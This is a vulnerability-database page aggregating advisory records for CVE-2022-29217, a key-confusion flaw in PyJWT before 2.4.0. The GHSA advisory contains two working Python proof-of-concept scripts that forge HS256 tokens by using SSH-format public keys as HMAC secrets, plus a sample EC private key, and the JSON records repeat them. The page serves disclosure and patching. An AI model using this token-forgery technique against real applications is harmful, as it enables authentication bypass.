pysec - pysec-2022-202

PYSEC-2022-202

Vulnerability from pysec - Published: 2022-05-24 15:15 - Updated: 2022-06-07 16:57

Details

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Impacted products

Name	purl
pyjwt	pkg:pypi/pyjwt

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyjwt",
        "purl": "pkg:pypi/pyjwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9c528670c455b8d948aff95ed50e22940d1ad3fc"
            }
          ],
          "repo": "https://github.com/jpadilla/pyjwt",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.5.0",
        "1.5.1",
        "1.5.2",
        "1.5.3",
        "1.6.0",
        "1.6.1",
        "1.6.3",
        "1.6.4",
        "1.7.0",
        "1.7.1",
        "2.0.0",
        "2.0.0a1",
        "2.0.0a2",
        "2.0.1",
        "2.1.0",
        "2.2.0",
        "2.3.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29217",
    "GHSA-ffqj-6fqr-9h24"
  ],
  "details": "PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify `jwt.algorithms.get_default_algorithms()` to get support for all algorithms, or specify a single algorithm. The issue is not that big as `algorithms=jwt.algorithms.get_default_algorithms()` has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.",
  "id": "PYSEC-2022-202",
  "modified": "2022-06-07T16:57:16.566102Z",
  "published": "2022-05-24T15:15:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"
    },
    {
      "type": "FIX",
      "url": "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO/"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX/"
    }
  ]
}

GHSA-FFQJ-6FQR-9H24

Vulnerability from github – Published: 2022-05-24 22:17 – Updated: 2024-10-15 16:18

Summary

Key confusion through non-blocklisted public key formats

Details

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior

import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")

The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory: * Open an issue in https://github.com/jpadilla/pyjwt * Email José Padilla: pyjwt at jpadilla dot com

Severity ?

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyjwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-24T22:17:27Z",
    "nvd_published_at": "2022-05-24T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n\u003e PyJWT supports multiple different JWT signing algorithms. With JWT, an \n\u003e attacker submitting the JWT token can choose the used signing algorithm.\n\u003e \n\u003e The PyJWT library requires that the application chooses what algorithms \n\u003e are supported. The application can specify \n\u003e \"jwt.algorithms.get_default_algorithms()\" to get support for all \n\u003e algorithms. They can also specify a single one of them (which is the \n\u003e usual use case if calling jwt.decode directly. However, if calling \n\u003e jwt.decode in a helper function, all algorithms might be enabled.)\n\u003e \n\u003e For example, if the user chooses \"none\" algorithm and the JWT checker \n\u003e supports that, there will be no signature checking. This is a common \n\u003e security issue with some JWT implementations.\n\u003e \n\u003e PyJWT combats this by requiring that the if the \"none\" algorithm is \n\u003e used, the key has to be empty. As the key is given by the application \n\u003e running the checker, attacker cannot force \"none\" cipher to be used.\n\u003e \n\u003e Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n\u003e not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n\u003e if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n\u003e attacker can just use the publicly known public key to sign the token \n\u003e and the checker would use the same key to verify.\n\u003e \n\u003e  From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n\u003e With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n\u003e example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = \nprivate_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, \nencryption_algorithm=serialization.NoEncryption())\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = \nprivate_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)\n\n# Making a good jwt token that should work by signing it with the \nprivate key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver to think that the \npublic key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n \u00a0\u00a0\u00a0 print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if \nthey specify ed25519 public key. However, if other algorithms are used, \nthe POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 invalid_strings = [\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN PUBLIC KEY-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN CERTIFICATE-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN RSA PUBLIC KEY-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"ssh-rsa\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in \njwt/algorithms.py:\n#\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if \"-----BEGIN PUBLIC\" in str_key:\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_pem_public_key(key)\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if \"-----BEGIN PRIVATE\" in str_key:\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_pem_private_key(key, password=None)\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if str_key[0:4] == \"ssh-\":\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout \u003e ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem \u003e ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n    print(\"POC Successfull\")\nelse:\n    print(\"POC Failed\")\n```\n\n\u003e The issue is not that big as \n\u003e algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n\u003e However, with quick googling, this seems to be used in some cases at \n\u003e least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email Jos\u00e9 Padilla: pyjwt at jpadilla dot com\n",
  "id": "GHSA-ffqj-6fqr-9h24",
  "modified": "2024-10-15T16:18:12Z",
  "published": "2022-05-24T22:17:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Key confusion through non-blocklisted public key formats"
}

CVE-2022-29217 (GCVE-0-2022-29217)

Vulnerability from cvelistv5 – Published: 2022-05-24 14:10 – Updated: 2025-04-23 18:22

Summary

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify `jwt.algorithms.get_default_algorithms()` to get support for all algorithms, or specify a single algorithm. The issue is not that big as `algorithms=jwt.algorithms.get_default_algorithms()` has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Severity ?

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-327 - Use of a Broken or Risky Cryptographic Algorithm

Assigner

GitHub_M

References

URL

Tags

	https://github.com/jpadilla/pyjwt/security/adviso…	x_refsource_CONFIRM
	https://github.com/jpadilla/pyjwt/commit/9c528670…	x_refsource_MISC
	https://github.com/jpadilla/pyjwt/releases/tag/2.4.0	x_refsource_MISC
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisoryx_refsource_FEDORA
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisoryx_refsource_FEDORA

Impacted products

	Vendor	Product	Version
	jpadilla	pyjwt	Affected: >= 1.5.0, < 2.4.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-19T07:48:17.217Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"
          },
          {
            "name": "FEDORA-2022-3cf456dc20",
            "tags": [
              "vendor-advisory",
              "x_refsource_FEDORA",
              "x_transferred"
            ],
            "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO/"
          },
          {
            "name": "FEDORA-2022-4ae9110f51",
            "tags": [
              "vendor-advisory",
              "x_refsource_FEDORA",
              "x_transferred"
            ],
            "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX/"
          },
          {
            "url": "https://www.vicarius.io/vsociety/posts/risky-algorithms-algorithm-confusion-in-pyjwt-cve-2022-29217"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-29217",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-23T15:52:55.610736Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-23T18:22:46.326Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pyjwt",
          "vendor": "jpadilla",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.5.0, \u003c 2.4.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify `jwt.algorithms.get_default_algorithms()` to get support for all algorithms, or specify a single algorithm. The issue is not that big as `algorithms=jwt.algorithms.get_default_algorithms()` has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-327",
              "description": "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-06-01T05:06:14.000Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"
        },
        {
          "name": "FEDORA-2022-3cf456dc20",
          "tags": [
            "vendor-advisory",
            "x_refsource_FEDORA"
          ],
          "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO/"
        },
        {
          "name": "FEDORA-2022-4ae9110f51",
          "tags": [
            "vendor-advisory",
            "x_refsource_FEDORA"
          ],
          "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX/"
        }
      ],
      "source": {
        "advisory": "GHSA-ffqj-6fqr-9h24",
        "discovery": "UNKNOWN"
      },
      "title": "Key confusion through non-blocklisted public key formats in PyJWT",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2022-29217",
          "STATE": "PUBLIC",
          "TITLE": "Key confusion through non-blocklisted public key formats in PyJWT"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "pyjwt",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "\u003e= 1.5.0, \u003c 2.4.0"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "jpadilla"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify `jwt.algorithms.get_default_algorithms()` to get support for all algorithms, or specify a single algorithm. The issue is not that big as `algorithms=jwt.algorithms.get_default_algorithms()` has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding."
            }
          ]
        },
        "impact": {
          "cvss": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-327: Use of a Broken or Risky Cryptographic Algorithm"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24",
              "refsource": "CONFIRM",
              "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"
            },
            {
              "name": "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc",
              "refsource": "MISC",
              "url": "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"
            },
            {
              "name": "https://github.com/jpadilla/pyjwt/releases/tag/2.4.0",
              "refsource": "MISC",
              "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"
            },
            {
              "name": "FEDORA-2022-3cf456dc20",
              "refsource": "FEDORA",
              "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO/"
            },
            {
              "name": "FEDORA-2022-4ae9110f51",
              "refsource": "FEDORA",
              "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX/"
            }
          ]
        },
        "source": {
          "advisory": "GHSA-ffqj-6fqr-9h24",
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2022-29217",
    "datePublished": "2022-05-24T14:10:10.000Z",
    "dateReserved": "2022-04-13T00:00:00.000Z",
    "dateUpdated": "2025-04-23T18:22:46.326Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2022-202

GHSA-FFQJ-6FQR-9H24

Impact

Patches

Workarounds

References

For more information

CVE-2022-29217 (GCVE-0-2022-29217)

Tags

Sightings

Nomenclature